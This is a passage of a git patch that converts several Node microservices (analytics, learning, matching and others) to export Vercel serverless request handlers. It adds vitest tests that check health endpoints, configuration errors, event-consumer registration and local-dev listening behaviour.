b/services/profile/test/entrypoint.test.ts @@ -0,0 +1,161 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + MESSAGING_DRIVER: 'memory', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + PROFILE_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('profile-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'profile-service', + checks: { database: 'fail', broker: 'ok' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'profile-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'profile-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); From 92c2a2dc7e52bb7a32251a11265a5f329302ccec Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:00:04 +0000 Subject: [PATCH 04/91] fix(matching,referrals,learning,analytics): export a Vercel request handler Same conversion as the previous commit for the services that also run an event consumer. registerConsumers() still runs in every runtime, now via top-level await after the app is built, so a failed subscription fails module load loudly like a bad config does; subscriptions are kept for the local shutdown path, which stops them before closing the app, as before. The entrypoint tests additionally assert the consumers are still registered when the module is loaded with VERCEL=1. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/analytics/src/index.ts | 41 ++--- services/analytics/test/entrypoint.test.ts | 186 +++++++++++++++++++++ services/learning/src/index.ts | 41 ++--- services/learning/test/entrypoint.test.ts | 186 +++++++++++++++++++++ services/matching/src/index.ts | 39 ++--- services/matching/test/entrypoint.test.ts | 186 +++++++++++++++++++++ services/referrals/src/index.ts | 41 ++--- services/referrals/test/entrypoint.test.ts | 186 +++++++++++++++++++++ 8 files changed, 827 insertions(+), 79 deletions(-) create mode 100644 services/analytics/test/entrypoint.test.ts create mode 100644 services/learning/test/entrypoint.test.ts create mode 100644 services/matching/test/entrypoint.test.ts create mode 100644 services/referrals/test/entrypoint.test.ts diff --git a/services/analytics/src/index.ts b/services/analytics/src/index.ts index c0691f8..1a6b7b8 100644 --- a/services/analytics/src/index.ts +++ b/services/analytics/src/index.ts @@ -1,27 +1,33 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadAnalyticsServiceEnv } from './env.js'; import { registerConsumers } from './worker.js'; -async function main(): Promise { - const env = loadAnalyticsServiceEnv(); - const logger = createLogger({ service: 'analytics-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger, - }); - const tokenVerifier = createTokenVerifierConfig(env); +const env = loadAnalyticsServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ service: 'analytics-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger, +}); +const tokenVerifier = createTokenVerifierConfig(env); + +export const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); +// Consumers register in every runtime, as before. A failed subscription fails +// module load loudly, the same way a bad config does. +const subscriptions = await registerConsumers({ db, broker, logger }); - const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); - const subscriptions = await registerConsumers({ db, broker, logger }); +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal: string): Promise => { logger.info({ signal }, 'shutting down'); await Promise.all(subscriptions.map((subscription) => subscription.stop())); @@ -35,8 +41,3 @@ async function main(): Promise { await app.listen({ host: env.HOST, port: env.PORT }); } - -main().catch((error: unknown) => { - console.error(error); - process.exit(1); -}); diff --git a/services/analytics/test/entrypoint.test.ts b/services/analytics/test/entrypoint.test.ts new file mode 100644 index 0000000..3b73b4c --- /dev/null +++ b/services/analytics/test/entrypoint.test.ts @@ -0,0 +1,186 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; +import type * as Worker from '../src/worker.js'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, + consumers: [] as string[], +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +vi.mock('../src/worker.js', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + registerConsumers: async (deps: Parameters[0]) => { + const subscriptions = await actual.registerConsumers(deps); + for (const subscription of subscriptions) { + tracked.consumers.push(subscription.consumer); + tracked.closers.push(() => subscription.stop()); + } + return subscriptions; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + MESSAGING_DRIVER: 'memory', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + ANALYTICS_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + tracked.consumers.length = 0; + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('analytics-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('still registers its event consumers on Vercel', async () => { + await loadEntrypoint(); + + expect(tracked.consumers.length).toBeGreaterThan(0); + for (const consumer of tracked.consumers) expect(consumer).toMatch(/^analytics-service\./); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'analytics-service', + checks: { database: 'fail', broker: 'ok' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'analytics-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'analytics-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); diff --git a/services/learning/src/index.ts b/services/learning/src/index.ts index deee494..db67bbd 100644 --- a/services/learning/src/index.ts +++ b/services/learning/src/index.ts @@ -1,27 +1,33 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadLearningServiceEnv } from './env.js'; import { registerConsumers } from './worker.js'; -async function main(): Promise { - const env = loadLearningServiceEnv(); - const logger = createLogger({ service: 'learning-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger, - }); - const tokenVerifier = createTokenVerifierConfig(env); +const env = loadLearningServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ service: 'learning-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger, +}); +const tokenVerifier = createTokenVerifierConfig(env); + +export const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); +// Consumers register in every runtime, as before. A failed subscription fails +// module load loudly, the same way a bad config does. +const subscriptions = await registerConsumers({ db, broker, logger }); - const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); - const subscriptions = await registerConsumers({ db, broker, logger }); +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal: string): Promise => { logger.info({ signal }, 'shutting down'); await Promise.all(subscriptions.map((subscription) => subscription.stop())); @@ -35,8 +41,3 @@ async function main(): Promise { await app.listen({ host: env.HOST, port: env.PORT }); } - -main().catch((error: unknown) => { - console.error(error); - process.exit(1); -}); diff --git a/services/learning/test/entrypoint.test.ts b/services/learning/test/entrypoint.test.ts new file mode 100644 index 0000000..a1b1ced --- /dev/null +++ b/services/learning/test/entrypoint.test.ts @@ -0,0 +1,186 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; +import type * as Worker from '../src/worker.js'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, + consumers: [] as string[], +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +vi.mock('../src/worker.js', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + registerConsumers: async (deps: Parameters[0]) => { + const subscriptions = await actual.registerConsumers(deps); + for (const subscription of subscriptions) { + tracked.consumers.push(subscription.consumer); + tracked.closers.push(() => subscription.stop()); + } + return subscriptions; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + MESSAGING_DRIVER: 'memory', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + LEARNING_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + tracked.consumers.length = 0; + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('learning-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('still registers its event consumers on Vercel', async () => { + await loadEntrypoint(); + + expect(tracked.consumers.length).toBeGreaterThan(0); + for (const consumer of tracked.consumers) expect(consumer).toMatch(/^learning-service\./); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'learning-service', + checks: { database: 'fail', broker: 'ok' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'learning-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'learning-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); diff --git a/services/matching/src/index.ts b/services/matching/src/index.ts index 499d130..386d413 100644 --- a/services/matching/src/index.ts +++ b/services/matching/src/index.ts @@ -1,25 +1,31 @@ import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadMatchingServiceEnv } from './env.js'; import { registerConsumers } from './worker.js'; -async function main(): Promise { - const env = loadMatchingServiceEnv(); - const logger = createLogger({ service: 'matching-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger, - }); +const env = loadMatchingServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ service: 'matching-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger, +}); + +export const app = buildApp({ db, sql, env, logger, broker }); +// Consumers register in every runtime, as before. A failed subscription fails +// module load loudly, the same way a bad config does. +const subscriptions = await registerConsumers({ db, broker, logger }); - const app = buildApp({ db, sql, env, logger, broker }); - const subscriptions = await registerConsumers({ db, broker, logger }); +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal: string): Promise => { logger.info({ signal }, 'shutting down'); await Promise.all(subscriptions.map((subscription) => subscription.stop())); @@ -33,8 +39,3 @@ async function main(): Promise { await app.listen({ host: env.HOST, port: env.PORT }); } - -main().catch((error: unknown) => { - console.error(error); - process.exit(1); -}); diff --git a/services/matching/test/entrypoint.test.ts b/services/matching/test/entrypoint.test.ts new file mode 100644 index 0000000..9d3d99c --- /dev/null +++ b/services/matching/test/entrypoint.test.ts @@ -0,0 +1,186 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; +import type * as Worker from '../src/worker.js'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, + consumers: [] as string[], +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +vi.mock('../src/worker.js', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + registerConsumers: async (deps: Parameters[0]) => { + const subscriptions = await actual.registerConsumers(deps); + for (const subscription of subscriptions) { + tracked.consumers.push(subscription.consumer); + tracked.closers.push(() => subscription.stop()); + } + return subscriptions; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + MESSAGING_DRIVER: 'memory', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + MATCHING_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + tracked.consumers.length = 0; + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('matching-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('still registers its event consumers on Vercel', async () => { + await loadEntrypoint(); + + expect(tracked.consumers.length).toBeGreaterThan(0); + for (const consumer of tracked.consumers) expect(consumer).toMatch(/^matching-service\./); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'matching-service', + checks: { database: 'fail', broker: 'ok' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await 